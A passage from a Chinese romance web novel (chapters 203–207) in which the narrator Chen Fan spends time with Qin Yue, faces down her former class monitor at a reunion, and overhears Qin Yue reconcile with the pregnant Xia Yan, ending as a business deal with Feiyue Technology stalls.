“黑衬衫,灰色裤子,站在最显眼的地方!保准你一出来就能看见我!”
“等我!”
十分钟后,出口开始陆续有人走出来,我站在外面,目光在人群中搜索,然后又,我看到了秦悦!
秦悦穿着一条浅粉色的连衣裙,腰间系着一根细细的皮带,脚上穿着白色的小皮鞋,她带着一副大大的墨镜,几乎遮盖了半张脸。
秦悦本来长的就清纯可人,她现在这个打扮,就好像刚毕业的大学生,她看到了我,嘴角微微上扬,然后加快了脚步。
她走到我面前时,摘下墨镜,露出一双漂亮的眼睛,调侃道:“陈先生,等很久了吗?”
“是啊,等你等的,我都老了!”
“呸!贫嘴!”秦悦挽着我的胳膊道:“下次你陪我一起坐飞机。”
“好。”
我们一起往停车场走,秦悦和我靠得很近,我能闻到她身上淡淡的香水味。
“你换了香水?”我问。
“嗯,新买的。”她抬头看我,眼睛亮晶晶的道:“喜欢吗?”
“喜欢。”我毫不犹豫的说道。
“敷衍。”她轻轻掐了一下我的手臂嗔道:“你肯定没仔细闻。”
我笑了:“真的喜欢,很适合你。”
走到停车场,我为秦悦打开了车门,她钻进了副驾驶座位。
车子驶出机场,今天上城的阳光很好,透过车窗洒在秦悦的脸上,她的皮肤在光线下显得细腻白皙,睫毛很长,在脸颊上投下淡淡的影子。
她一直看着我,眼神里有一种我说不清的情绪。
“怎么了?”我问道:“我脸上有东西?”
“没有。”她摇摇头,然后忽然凑近,在我脖子上闻了闻。
这个动作很突然,我愣了一下,我立刻紧张了起来,我忽然明白秦悦是什么意思了。
“你身上有女人的香水味。”她坐直身体,眼神变得危险起来道:“这不是柳媚笙那种冷冽的香,是更温柔的,带点花香。”
我心头一跳,司徒晴用的确实是带花香的香水。
“可能是昨晚应酬沾上的。”我面不改色地说。
“应酬?”秦悦挑眉道:“什么应酬需要靠那么近?而且这味道很持久啊,过了一晚上还能闻到?”
她的话里带着明显的醋意,但语气又像是在开玩笑,让人摸不清她到底是认真还是逗我玩。
“吃醋了?”我反问。
“我才不吃醋。”秦悦别过脸,看着窗外,道:“你陈凡身边有多少女人,我早就知道,我只是有点不高兴。”
她说最后那句话时,声音小了下去,带着一丝真实的委屈。
车内安静了几秒钟。
我伸手,握住她的手,她的手很软,有点凉。
“秦悦。”我说道:“你是你,她们是她们。”
我知道我是个渣男,可我没办法,我说的就是实话。
“我知道。”秦悦没有抽回手,但也没有看我,“我也没指望你只有我一个人。只是……你能不能稍微收敛一点?至少在我来的时候,别让我闻到其他女人的味道?”
这话说得有点卑微,不像平时那个高傲的秦家大小姐。
我握紧她的手:“好。”
她转过头来看我,眼睛有点红,但很快又笑了:“算了,不说这个了,反正我说了你也不会改。”
她转移话题:“我爸妈让我问你,什么时候有空回杭城一趟?”
“你爸妈想见我?”我问问一愣,上次见秦悦父母还是平息秦昊事情之后,算起来,也有一阵子没见她俩了。
“嗯。”秦悦点头,“上次见过你之后,我爸就一直念叨你,说你眼光好,有魄力。我妈也挺喜欢你的,说你……长得帅。”
最后三个字她说得有点不好意思。
“是吗?”我笑了道:“那你呢?你觉得我帅吗?”
“一般般吧。”她故意说:“比我表哥差一点。”
“你还有表哥?”
“没有,我瞎说的。”她笑了,笑容干净明亮,像个小女孩。
车子驶入市区,停在一家五星级酒店门口。这是秦悦每次来上城住的地方,她已经提前订好了套房。
阿战去办理入住手续,我和秦悦坐在大堂的沙发上等。
“这次待几天?”我问。
“三天。”秦悦说,“主要是来看你,顺便我爸让我考察一下上城的房地产市场,说想在成东拿块地。”
“秦家要进军上城?”
“有这个打算。”秦悦看着我,“你觉得呢?上城这边,好做吗?”
“不好做。”我实话实说,“本地势力盘根错节,外来者很难插足,司徒家在上城经营了十几年,现在又多了个我,市场已经很挤了。”
“那如果……秦家和你合作呢
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?”秦悦问,眼神认真起来。
我看着她:“这是你爸的意思,还是你的意思?”
“是我的意思。”秦悦说,“但我觉得我爸会同意,他挺欣赏你的。”
我沉吟片刻:“可以考虑。但具体怎么合作,需要详细谈。”
“嗯。”秦悦点头,“不急,你先忙完和司徒家的事。等你有空了,我们再好好聊。”
我和秦悦一起上楼,她的套房在顶层,视野很好,能看到黄浦江和对岸的陆家嘴。
一进房间,秦悦就踢掉鞋子,光脚踩在地毯上,伸了个懒腰。
“累**。”她倒在沙发上,“坐了一个多小时飞机,腰都僵了。”
“帮你按按?”我走过去。
“你会按摩?”她挑眉。
“会一点。”
“那你试试。”
我在沙发边坐下,让她趴在沙发上。她的手感很好,腰很细,但肌肉紧实,应该是经常锻炼。我用手掌轻轻按着她的后腰,用适当的力道揉捏。
“嗯……”秦悦舒服地哼了一声,“手法不错嘛。给多少个女人按过?”
又来了。
“你是第一个。”我说。
“骗人。”她闷闷地说,“你这种手法,肯定是练出来的。”
秦悦安静了一会儿,然后轻声说:“陈凡,有时候我觉得,我一点都不了解你。你像一本很厚的书,我只翻开了几页,而且……每翻开一页,都发现后面还有更复杂的内容。”
我的动作顿了一下,然后继续:“那就慢慢翻。不急。”
“我怕……”她的声音更轻了,“我怕我还没翻完,就被别人把书抢走了。”
这话说得太直接了。
我停下按摩,把她扶起来,让她面对着我。她的眼睛很亮,眼神里有一种少见的脆弱。
“秦悦,”我看着她的眼睛,“你对我来说,很重要。”
“有多重要?”
“重要到……我会为了你,去杭城见你父母。”我说,“重要到……我会认真考虑和秦家的合作。”
这不算情话,但比情话更实在。
秦悦的眼睛亮了起来。她看着我,然后忽然凑过来,吻了我。
这个吻很温柔,带着试探,也带着期待。我回应着她,手轻轻抚摸着她的后背。
吻了很久,她才退开,脸颊微微泛红。
“这还差不多。”她说,语气里带着小小的得意。
我笑了,捏了捏她的脸:“饿不饿?带你去吃饭。”
“饿!”秦悦立刻站起来,“我要吃本帮菜,要吃蟹粉豆腐,要吃红烧肉,要吃……”
203我男朋友陈凡(上)!
秦悦报了一连串的菜名,像个小孩一样。
“好,都吃。”我拿起外套道:“走吧。”
我陪着秦悦吃着饭,她的心情很好,一路上有说有笑,我看着她,忽然觉得这样的秦悦很可爱,她会吃醋,会撒娇,会任性。
“看**嘛?”秦悦发现我在看她,脸又红了。
“看你好看。”我说。
“油嘴滑舌。”她嗔道,但嘴角的笑意藏不住。
吃完饭,我们沿着外滩散步,夜风很凉,秦悦穿得少,打了个哆嗦,我把外套脱下来,披在她肩上。
“谢谢。”她裹紧外套,抬头看我问:“陈凡,你会一直对我好吗?”
这个问题很突然,也很小女孩。
“我会。”我说。
“我就知道你会对我好的!”她说。
那一晚,我送秦悦回酒店后,没有离开。
我们躺在套房的床上,秦悦靠在我怀里,手指无意识地玩着我衬衫的纽扣。
“陈凡,”她忽然说,“你说如果我们早一点遇到,会不会不一样?”
“早一点?”
“比如,在我还没被家里在你还没遇到夏颜和柳媚笙的时候。”她的声音很轻,道:“如果我们那时候就遇到,你会不会只喜欢我一个人?”
这个问题,我没有答案。
因为人生没有如果。
我吻了吻她的额头,我在她耳边说道:“我想要你了……”
她羞红了脸,点了点头……
一宿,春意盎然!
当我睁开眼睛的时候,秦悦枕着我的胳膊睡了一夜,她此刻睡的正香,她的睫毛很长,嘴唇微微嘟着,像个毫无防备的孩子,我的手搭在了她的腰上,她腰间传来细腻的温热。
昨晚我们聊到很晚,然后不知怎么的,就吻在了一起。从试探到深入,从温柔到激烈。
我轻轻挪动身体,想抽出手臂,秦悦立刻皱了皱眉,反而抱得更紧,含糊地嘟囔:“别动……”
我失笑,低头吻了吻她的额头,这个动作似乎惊扰了她,她慢慢睁开眼睛,眼神迷茫了几秒钟,然后聚焦在我脸上。
“早。”她的声音带着刚醒的沙哑,慵懒而性感。
“早。”我说:“胳膊麻了。”
她愣了一下,然后意识到自己还枕着我的胳膊,赶紧抬起头,我的手臂终于得到解放,一阵针刺般的麻感传来。
我活动着手臂:“睡得怎么样?”
“很好。”她凑过来,在我唇上轻轻印了一个吻道:“好久没睡这么好了。”
我们又在床上躺了一会儿,秦悦忽然想起什么似的,撑起上半身看着我:“陈凡,你今天有事吗?”
“下午有个会。”我说:“怎么了?”
“那个。”她咬了咬下唇,这个很少在她身上看到的小动作,显得有些可爱道:“我今晚有个高中同学聚会,你能陪我去吗?”
我挑眉:“高中同学聚会?”
“嗯。”她点点头,“毕业十年了,班长组织的,大家都说一定要带伴侣去。”她的声音越来越小,眼睛却一直看着我,带着明显的期待道:“我一个人去的话,肯定会被他们念叨。”
“你那些同学应该都是非富即贵吧?”
“差不多。”秦悦承认道:“有几个家里是做官的,有几个现在自己开公司,还有的在国外发展,所以我才不想一个人去会被他们烦死的。”
“烦什么?”我问。
“还能烦什么?”秦悦翻了个白眼道:“催婚,介绍对象,炫耀攀比尤其是我们班长,从高中就喜欢我,追了我六年,后来出国了才消停,这次聚会他特地飞回来参加,大家都说他是为了我。”
她没说完,但意思已经很明显了。
我看着她,忽然想逗逗她:“那我去干什么?当你的挡箭牌?”
“不是挡箭牌!”秦悦立刻否认道:“是我想让你陪我去,而且……”她凑近我,鼻尖几乎碰到我的鼻尖,“你不想看看,那些曾经追求过我的男人,现在都是什么样子吗?你不想让他们知道,我现在选择了谁吗?”
我笑了,伸手捏了捏她的脸颊:“你这是在用激将法?”
“有用吗?”她眼睛弯起来。
我没回答,而是问:“聚会几点?在哪?”
“晚上七点,轻语会所。”秦悦说道。
我点点头:“下午的会四点半结束,我六点来接你。”
“真的?”秦悦的眼睛一下子亮了道:“你答应了?”
“不然呢?”我反问道:“让你一个人去被那个追了你六年的班长骚扰?”
“他不敢骚扰我。”秦悦哼了一声,“我只是不想听他那些肉麻的话。”
她从床上爬起来,赤脚踩在地毯上,走到窗前。
晨光勾勒出她美好的身体曲线,腰肢
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纤细,臀线饱满,背脊的线条优雅如天鹅,她回头看我,脸上带着狡黠的笑:“陈凡,我唱歌给你听吧。”
我靠在床头,点燃一支烟:“你会唱歌?”
“当然。”她清清嗓子唱了起来。”
“任时光匆匆流去,我只在乎你”
“心甘情愿感染你的气息,人生几何。”
“能够得到知己,失去生命的力量也可惜。”
她的目光一直落在我身上,眼神温柔得像要滴出水来。
我静静听着,这一刻的画面很美,阳光,歌声,赤脚站在窗前的女人,还有她眼中毫不掩饰的情意。
秦悦走回床边,俯身看着我:“好听吗?”
“不错。”我说,“可以出道了。”
她笑了,爬上床,跨坐在我腿上,双手环住我的脖子:“那你要怎么奖励我?”
我掐灭烟,双手扶住她的腰:“你想要什么奖励?”
“今晚好好表现。”她凑到我耳边,热气喷在我的耳廓:“让所有人都知道,你陈凡是我秦悦的男人。”
“成交。”
我们又做了一次,这次比昨晚更温柔,更缠绵,秦悦很投入,也很主动,她在我身下绽放的样子,美得惊心动魄。
结束的时候,我们浑身是汗,她趴在我胸口,小声说:“陈凡,我好像真的爱上你了。”
我没有说话,只是抚摸她的头发。
晚上六点半,我和秦悦抵达轻语会所。
这家会所确实很高级,坐落在一座私人庄园里,建筑是欧式风格,门口停满了豪车。
秦悦今天穿了一条香槟色的抹胸长裙,脖子上戴着一条简单的钻石项链,头发挽起,露出修长的脖颈和锁骨,她挽着我的手臂,笑容得体,但手指微微用力,显然有些紧张。
“别紧张。”我低声说,“有我在。”
她看了我一眼,眼神安定了一些。
走进会所,立刻有服务生引我们到一个宽敞的宴会厅。里面已经来了二十几个人,男女各半,都穿着得体,气质不俗。看到秦悦进来,几个女人立刻围了上来。
“悦悦!你可算来了!”
“哇,这位是?不介绍一下?”
“秦大小姐终于带男伴了,稀罕啊!”
秦悦笑着和她们拥抱,然后拉过我的手:“这是我男朋友,陈凡。”
众人微微一愣,目光齐齐看向了我。
204我男朋友陈凡(下)!
“你们好。”
看在秦悦的面子上,我笑着打了一声招呼。
这几个女人开始打量我,眼神里有好奇,有审视,也有不易察觉的羡慕,秦悦的条件在她们圈子里是顶尖的,能成为她的男朋友,本身就代表着某种实力。
“陈凡?你是做什么的?”一个穿着红色礼服的女人问。
“自己做点生意。”我随口说道。
“哦……”女人拉长了音调,显然对这个回答不满意,但也没有追问。
这时,一个男人走了过来。
他大概三十出头,穿着定制的深蓝色西装,身材挺拔,长相斯文,戴着一副金丝眼镜,看起来像个精英学者。
“悦悦。”他微笑着打招呼,然后看向我,好奇的问道:“这位是?”
“我男朋友,陈凡。”秦悦再次介绍,然后对我说:“这是李彦,我们高中时的班长,现在在华尔街做投行,刚回国。”
李彦伸出手皮笑肉不笑道:“幸会,陈先生在哪里高就?”
我和他握手,他的手很有力,眼神锐利,带着明显的敌意和审视,这个就是追了秦悦六年的班长。
“自己创业,小打小闹。”我依旧含糊其辞。
“陈先生谦虚了。”李彦笑了笑,道:“能成为悦悦的男朋友,肯定不是普通人。”
他特意强调了“男朋友”三个字,语气里有一丝不易察觉的酸意。
我微微一笑,不在理会,李彦也不在多说话。
聚会正式开始,大家入座,长桌上摆满了精致的菜肴和名酒,李彦作为班长和聚会组织者,坐在主位,秦悦坐在他右手边,我坐在秦悦旁边。
席间的气氛很热烈,这些老同学十年未见,有太多话要说。他们聊起高中时的趣事,聊起各自的发展,聊起谁结婚了谁离婚了谁生孩子了,秦悦显然是这个圈子的中心,不断有人来和她碰杯,问她的近况。
“悦悦,听说你接手了秦家。”一个男人赞许道:“厉害啊,女强人。”
“没有,还在学习。”秦悦微笑。
“还单身吗?”另一个女人半开玩笑地问,“我们班长可还惦记着你呢。”
这话一出,桌上有几秒钟的安静,所有人的目光都在秦悦、我和李彦之间来回扫视。
秦悦面不改色,伸手握住我的手:“我有男朋友了。”
“哦对!”那女人赶紧打圆场,“瞧我这记性。陈先生,不好意思啊。”
我笑了笑:“没事。”
李彦的脸色不太好看,但他很快调整过来,举起酒杯:“来,我们为十年重逢干一杯!”
大家纷纷举杯,我注意到,李彦在喝酒时,目光一直落在我身上。
酒过三巡,气氛更热烈了。几个当年暗恋秦悦的男生开始借着酒劲,半真半假地开玩笑。
“悦悦,你知道当年我们班有多少男生喜欢你吗?”
“李班长追你最久吧?六年呢!”
“是啊,后来班长出国,我们还以为你俩会成呢。”
这些话明显是说给我听的,秦悦的脸色渐渐沉下来,她正要开口,我按住了她的手。
“看来悦悦当年很受欢迎。”我微笑着说,“不过现在她是我的。”
这话说得很平静,但带着不容置疑的宣示意味。
桌上安静了一下,然后李彦笑了:“陈先生很自信。不过感情这种事,有时候要看缘分,我和悦悦认识十几年了,有些默契,不是短时间内能建立的。”
这话已经近乎挑衅了。
秦悦猛地站起来:“李彦,你……”
我把她拉回座位,看向李彦:“李班长说得对,感情要看缘分,不过缘分这东西,有时候来得晚,反而更珍贵,你说呢?”
我的目光和他对视。
几秒钟后,李彦先移开了视线,笑了笑道:“陈先生说得对,来,喝酒。”
我能感觉到,很多人都在等着看好戏,秦悦带来的神秘男朋友,和追了她多年的精英班长,到底谁会赢。
聚会进行到后半段,大家开始玩一些怀旧游戏。有人提议玩“真心话大冒险”,李彦第一个响应。
瓶子转了几轮,指向了一个男生,他选择真心话。
“说,高中时暗恋过谁?”有人问。
男生挠挠头:“秦悦呗。咱们班男生谁没暗恋过她?”
大家哄笑,瓶子继续转,这次指向了秦悦。
“悦悦选什么?”
“真心话吧。”秦悦说。
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>问问题的是刚才那个穿红礼服的女人:“悦悦,你现在最爱的男人是谁?”
这个问题很直接,也很刁钻,所有人都看向秦悦,包括李彦。
秦悦没有犹豫,转头看着我,一字一句地说:“陈凡。”
桌上响起口哨声和掌声。李彦的脸色彻底沉了下去。
游戏继续。几轮后,瓶子指向了我。
“陈先生选什么?”
“真心话。”我说。
提问的是李彦。他推了推眼镜,看着我:“陈先生,我想问,你爱悦悦吗?”
秦悦紧张地看着我。
我沉默了几秒,然后开口:“悦悦是个很好的女人,我现在和她在一起,很开心,至于爱这个字,太重,我需要时间。”
这个回答很诚实,也很得体。既表达了对秦悦的重视,又没有轻易承诺。
李彦显然不满意,撇了撇嘴。
聚会接近尾声时,李彦又举杯:“各位,最后这杯,我想单独敬悦悦。”
他走到秦悦面前,眼神深情:“悦悦,高中三年,大学三年,我喜欢了你六年。后来我出国,不是放弃了,是觉得自己还不够好,配不上你。现在我回来了,事业有成,我想告诉你,我对你的感情从来没有变过。”
这话说得很大声,整个宴会厅都能听到。所有人都屏住呼吸,看着这场面。
李彦继续说:“我知道你现在有男朋友,但我不在乎。我可以等,我可以竞争,悦悦,给我一个机会,好吗?”
秦悦的脸色很难看,她站起来,直视李彦:“李彦,我很感谢你的感情,但我们之间,从来都只是朋友。以前是,现在是,以后也是。我有男朋友了,我很爱他。请你尊重我,也尊重我的选择。”
她说得很坚决,没有任何回旋余地。
李彦的脸色从期待转为难堪,再转为愤怒。他看向我,眼神里的敌意几乎要溢出来。
我站起身,走到秦悦身边,搂住她的腰:“李班长,悦悦说得已经很清楚了,感情的事,勉强不来,你条件很好,会遇到更适合你的人。”
李彦盯着我,很久,然后忽然笑了:“陈先生,我听说你在上城最近有些麻烦?和司徒飞闹得不太愉快?”
205夏颜和秦悦见面(上)!
这话一出,桌上很多人都露出惊讶的表情,司徒飞在上城的势力很大,和他闹翻,意味着很多。
“商业上的正常竞争而已。”我平静地说。
“是吗?”李彦的笑容带着深意道:“我听说司徒飞那个人,睚眦必报,陈先生可要小心啊。”
这是赤裸裸的威胁了,他的话让我微微不爽,我心想,可显摆着你了,真是多管闲事。
我本不想闹得不愉快,可李彦有点没分寸了,
秦悦立刻说:“李彦,你什么意思?”
“没什么意思。”李彦耸耸肩道:“只是作为老同学,关心一下悦悦的男朋友而已,毕竟,如果男朋友出了什么事,悦悦会伤心的。”
气氛降到了冰点。
我笑了,笑得很轻松:“谢谢李班长关心,不过我的事,我自己会处理,司徒飞也好,其他人也罢,谁想找我麻烦,我都奉陪。”
我看着李彦,一字一句地说:“只是我要提醒一句,有些人,有些事,不是谁都能碰的,碰了,就得付出代价。”
以眼还眼以牙还牙,我的话也毫不客气,既然你对我不满,我也不藏着掖着了。
李彦的表情僵住了,他显然没想到我会这么直接地回击。
“好了好了,时间不早了,该散了。”有人出来打圆场。
聚会不欢而散,走出会所时,秦悦紧紧挽着我的手,小声说:“对不起,我不知道他会这样……”
“没事。”我无所谓道:“跳梁小丑而已。”
“但是他说司徒飞……”秦悦担忧地看着我,“你真的没事吗?”
“没事。”我帮她拉开车门,道:“上车吧。”
车子驶离会所。秦悦靠在我肩上,轻声说:“陈凡,谢谢你今天陪我来,也谢谢你刚才说的那些话。”
“哪些话?”
“就是……说你需要时间。”她的声音很低道:“我知道你还没完全爱上我,但我会等的,等到你真的爱上我为止。”
我知道,这对秦悦太不公平了。
可是爱这个字对我来说,我只能对夏颜说出口,因为我的心里,最重要的那个女人,还是只属于她。
“陈凡。”秦悦轻轻喊了我。
“嗯?”
“我想去看看夏颜,我想她了。”秦悦说道。
“好,明天就带你去。”
翌日。
静水庄园。
夏颜坐在藤椅上,腿上盖着一条薄毯子,她手里拿着孕期指南。
“夏小姐,陈先生和你的朋友来到访了。”李姐走过来,轻声的提醒着。
“是谁?”
夏颜抬起头微微笑着问道,她来静水庄园养胎只有几个亲信知道,会是谁来看自己呢?
“是谁?”
“她说她姓秦,叫秦悦。”李姐说,“说是您的朋友。”
秦悦?
夏颜愣住了,她和秦悦确实是高中同学,曾经也是无话不谈的闺蜜。但后来因为一些事,这几年,几乎没怎么联系。
不过因为上次自己在杭城被袭,秦悦一直在照顾自己,两个人的关系已经恢复到从前那样了。
“请她进来!”夏颜笑着说。
她在庄园自己呆着也没什么意思,如今秦悦来看自己,自己也有时间说说话了。
几分钟后,秦悦出现在院门口。
她今天穿得很简单,一件米白色的针织衫,浅蓝色牛仔裤,平底鞋,长发随意披在肩头,脸上只化了淡妆。
秦悦站在门口,有些犹豫,没有立刻进来,她的目光落在夏颜身上,准确地说是落在夏颜微微隆起的小腹上,眼神里竟然有一丝丝的羡慕!
“颜颜。”秦悦轻声开口笑道:“好久不见。”
夏颜点点头:“确实很久了,进来坐吧。”
秦悦走进院子,在夏颜对面的藤椅上坐下,李姐很快端来茶水和点心,然后安静地退了出去,留下两个女人单独相处。
“我听说你怀孕了,就想着应该来看看你,怀孕很辛苦吧?”秦悦喝着茶水,笑着问道。
“还好。”夏颜说,手不自觉地放在小腹上道:“就是有时候会累,会吐,但想到是宝宝在长大,就觉得值得。”
“几个月了?”
“快七周了。”夏颜说。
秦悦的眼神变得更温柔了,甚至有些羡慕道:“真好,陈凡一定很高兴吧?”
“他还好。”夏颜说,“就是最近很忙。”
“我知道。”秦悦喝了口茶,“他在和司徒飞打擂台,昨天我同学聚会,还有人拿这事出来说,想给他难堪。”
夏颜的眉头微微蹙起:“你同学聚会?陈凡也去了?”
“嗯,我让他陪我去的。”秦悦坦然承认道:“我们班长喜欢了我很多年,这次特地飞回国参加聚会,大家都想撮合我们,我让陈凡去,是想让他知道,我现在选择的是谁。”
这话说得很直接,也很坦荡。夏颜反而不知道该怎么回应。
又是一阵沉默,两个女人静静的喝着茶,谁也不说话,气氛说不清道不明的。
“颜颜。”秦悦忽然说,“我们……
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能谈谈吗?像以前那样。”
夏颜看着她,秦悦的眼睛很清澈,没有算计,没有伪装,只有一种真诚的恳求。
“谈什么?”
“谈我们之间的误会。”秦悦说道:“也谈……陈凡。”
夏颜沉默了几秒,然后点头:“好。”
当我和周叶青边走边聊,走进院子的时候,我发现了两个女人在谈话,我马上停下了脚步,然后对着周叶青做了一个嘘的手势。
我也挺好奇的,这两个曾经有误会的女人,此刻会说些什么。
周叶青则一副看好戏的笑容,她眼神中竟然还多了些许的期待。
我从山庄后门进来时,听到的就是这一段对话。
院子里,秦悦的声音传来:“颜颜,我知道外面都在传,说我总喜欢抢你的东西,高中的时候抢你的学生会主席名额,后来还抢你看上的合作项目这些事,有些是真的,有些是误会。”
夏颜没有说话,只是静静地听着。
“学生会主席那件事,我真的不知道你也报名了。”秦悦的声音惭愧道:“是老师直接找的我,说觉得我更适合,后来我知道你也想竞选,去找过你,想退出的,但你不见我。”
夏颜轻声说:“那时候我太骄傲了,觉得你是在炫耀。”
“不是炫耀。”秦悦说,“是真的想退出。”
“我知道。”夏颜说。
秦悦笑了,笑声里有些自嘲道:“我们俩啊,就是太像了,都骄傲,都倔,都不肯先低头,结果误会越积越深,好好的闺蜜,就这么散了。”
“那合作项目呢?”夏颜问道:“城东那块地,明明是我先看上的,秦家为什么突然插一脚?”
“那是秦家的决定,不是我。”秦悦说道。
秦悦没有说谎,那个时候,她还不是秦家的家主,许多事情,她并不能直接做主。
夏颜沉默了很久,然后她说:“秦悦,你知道吗,我后来其实后悔过,后悔没听你解释,后悔没给你机会,但每次想找你的时候,又拉不下脸,总觉得你已经不需要我这个朋友了。”
“怎么会不需要?”秦悦的声音有些哽咽,道:“颜颜,你是我这辈子第一个真正的朋友,初中的时候,我被人排挤,是你站出来帮我,我生病住院,是你天天来看我,给我补习功课,这些事,我一辈子都忘不了。”
周叶青在我身边,轻轻碰了碰我的胳膊,小声说:“陈总,您这修罗场画风突变啊,我还以为要上演正宫撕小三的戏码呢……”
206夏颜和秦悦见面(下)!
被周叶青调侃了一下,我不免有些尴尬的笑了笑。
然后继续偷听两个女人的谈话,没办法,谁让秦悦和夏颜都是我的女人呢。
“那你和陈凡呢?”夏颜问,这次的声音很平静,没有敌意,只是单纯的询问。
秦悦深吸一口气:“陈凡,我知道你也喜欢他。不,不只是喜欢,你爱他,还怀了他的孩子。按理说,我不应该插足,但是颜颜,感情的事,有时候控制不了。”
“我知道。”夏颜说道:“陈凡那样的男人,很难有女人不喜欢,他强势,聪明,有担当,而且他对在乎的人,真的很好。”
“你也这么觉得?”秦悦的声音里带着一丝欣喜道:“我以为你会恨我。”
“为什么要恨?”夏颜反问道:“感情是自由的。他能吸引你,说明我的眼光没错,而且……”她停顿了一下,“秦悦,说实话,如果陈凡先遇到的是你,可能就没我什么事了。”
这话让秦悦愣住了,也让竹林边的我愣住了。
“你不生气?”秦悦问。
“刚开始的时候,有点。”夏颜诚实地说道:“但后来想想,生气有什么用?感情的事,强求不来,陈凡选择谁,是他的自由,而我选择喜欢他,是我的自由,至于他最后和谁在一起那是他的选择。”
秦悦沉默了很久,似乎是在思考夏颜说的话。
“颜颜,你知道吗,我有时候很羡慕你,不是羡慕你有陈凡,是羡慕你的清醒和豁达,如果我当年有你一半的豁达,我们可能就不会走到今天这一步。”
“现在也不晚。”夏颜说道:“秦悦,我们和解吧。过去的就让它过去,你还是我最好的朋友,永远都是。”
夏颜和秦悦都是经历过生死的人,她们当然会看透一些常人看不透的俗世。
“陈总,您这可真是功德无量啊,化解了一场世纪恩怨。”
周叶青捂着嘴,小声笑着说。
不过我挺高兴的,因为修罗场没有发生。
“对了。”秦悦忽然问道:“你跟陈凡是怎么开始的?我听说你们是因为冯家的事才认识的?”
“嗯。”夏颜说:“那时候我被冯天宇背叛,走投无路,是他帮了我,后来我们一起合作,对付冯家,慢慢地就在一起了。”
“他追的你?”
“不算追。”夏颜笑了,“陈凡那种人,怎么会追女人?他就是一直在那里,在你需要的时候出现,在你迷茫的时候给你方向,然后有一天你发现,你已经离不开他了。”
“我懂。”秦悦的声音里带着共鸣,“他对我也是这样,不说什么甜言蜜语,但你需要的时候,他一定在,颜颜,你说……他到底是个什么样的人?”
夏颜想了一会儿:“他是个很复杂的人。表面看起来很冷,很硬,好像什么都不在乎,但其实他比谁都在乎身边的人,他会为了保护你在乎的人,做很多你想象不到的事。有时候很温柔,有时候又很狠,但不管怎样,他答应过的事,一定会做到。”
“那你觉得他爱你吗?”秦悦问出了最关键的问题。
我和周叶青互相看了一眼,我都要窒息了,这个秦悦,她怎么能问出这样的问题。
夏颜沉默了很久,道:“我不知道。”
“不知道?”
“嗯。”夏颜点了点头道:“陈凡从来没说过‘我爱你’这三个字,他对我很好,很照顾我,为了我和孩子可以做任何事。但这是爱,还是责任?我不知道。有时候我觉得他是爱我的,有时候又觉得,他只是把我当成需要保护的人。”
她顿了顿:“秦悦,你知道吗,怀孕之后我经常会想,如果陈凡只是因为孩子才对我好,那我该怎么办?但后来我想通了,不管他是因为什么对我好,至少他现在在我身边。至少他愿意为我遮风挡雨。这就够了。至于爱不爱……时间会给出答案。”
秦悦没有说话。我能想象她此刻的表情,一定很复杂。
“那你呢?”夏颜反问,“你觉得他爱你吗?”
秦悦笑了,笑声里有些苦涩:“我?我更不确定。我和他之间……开始得就不纯粹,我接近他,最初是为了气你,也是为了家族利益,后来我自己陷进去了。但他对我,可能只是玩玩?”
“他不会的。”夏颜肯定地说,“陈凡不是那种人。他如果只是玩玩,根本不会让你靠近。”
“那他是……”
“我也不知道。”夏颜叹了口气,“陈凡的心思,太难猜了,但有一点我可以肯定——他对我们两个,都是认真的。只是这种认真,到底到什么程度,只有他自己知道。”
周叶青在我身边,用极小的声音说:“陈总,听到没?两位女士都在等您的答案呢。
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您打算怎么办?选一个?还是……全都要?”
我转头瞪她,她却不怕,反而笑得更加灿烂。
院子里,秦悦忽然说:“颜颜,如果,我是说如果,陈凡最后选择的是你,我会祝福你们。真的。”
“我也是。”夏颜说,“如果他选择的是你,我也会祝福。但我们说好了,不管他选择谁,我们之间的友谊,不能再断了。”
“一言为定。”
“一言为定。”
这时,李姐从屋里走出来:“夏小姐,秦小姐,陈先生回来了。”
我深吸一口气,从竹林边走了出去。
院子里,两个女人同时转头看向我。夏颜的脸上带着温柔的笑,秦悦的表情有些复杂,但眼神很清澈。
“你什么时候回来的?”夏颜问。
“刚到。”我说,“听说有客人。”
秦悦站起身:“我该走了,颜颜,你好好休息,我改天再来看你。”
“这么快?”夏颜有些不舍。
“嗯,公司还有点事。”秦悦对我点点头,“陈凡,好好照顾她。”
“我会的。”
秦悦离开后,我在夏颜身边坐下,她靠在我肩上,轻声说:“你都听到了?”
“听到一点。”我承认。
“那你怎么想?”
“什么怎么想?”
“就是……秦悦的事。”夏颜说,“我和她和好了。你不会不高兴吧?”
我搂住她的肩膀:“怎么会?你有朋友陪着,我很高兴。”
“只是朋友?”夏颜抬头看我,眼睛亮晶晶的,“陈凡,我问你个问题,你要老实回答。”
“你说。”
“你对秦悦……到底是什么感觉?”
这个问题,刚才她问秦悦的时候,我已经在想了。但此刻她当面问我,我还是需要时间组织语言。
“她是个很好的女人。”最后我说,“聪明,漂亮,有担当,而且……她对你是真心的。”
“那对你呢?”
“我不知道。”我如实说,“但不管怎样,我现在最重要的事,是保护好你和孩子。其他的,以后再说。”
夏颜看着我,看了很久,然后笑了:“这个答案,我给八十分。”
“满分多少?”
“一百。”她说,“扣二十分是因为你没说‘我爱你’,不过……慢慢来吧,我们有的是时间。”
207龙三爷!
飞越科技公司总部会议室,气氛有些压抑,因为这里**了公司核心团队。
财务总监周明,市场总监张丽,还有副总裁刘振东,都围坐在圆桌会议前,正中心位置坐着的是司徒飞,他脸色阴暗。
而长桌的另一侧,坐着的事诺德集团公司的代表,米勒坐在中心位置。
米勒在看一份文件,他看得很慢,一页一页地翻,手指在纸面上轻轻敲击,发出规律的轻响。
终于,米勒合上文件夹,抬起头。
“司徒先生,飞越科技在过去六个月里展示的技术进展,确实令人印象深刻,特别是基带芯片的能效优化,比我们最初评估时提升了百分之十二,这很好。”
司徒飞的心脏稍微松了松,但米勒接下来的话,让那口气又提了起来。
“但是,在射频前端和天线系统的集成方案上,我们依然存在疑虑,特别是毫米波频段的商用稳定性,你们提供的测试数据还不够充分。”
刘振东立刻开口道:“米勒先生,我们已经在和三家天线供应商进行深度合作,最新的联合测试报告下周就能出来……”
“刘先生。”米勒打断他道:“我理解技术研发需要时间,但商业合作不能只建立在下周就能出来的承诺上,诺德公司需要的是确定性和可预测性。”
司徒飞的脸色开始发沉,他已经攥紧了拳头。
米勒和艾玛交换了一个眼神,然后缓缓开口:“经过内部评估,我们认为,现阶段与飞越科技签署独家合作协议的条件尚未成熟。”
会议室里死一般的寂静,尚未成熟,这四个意味着什么,司徒飞再明白不过了,他能感觉自己的血压都上升了。
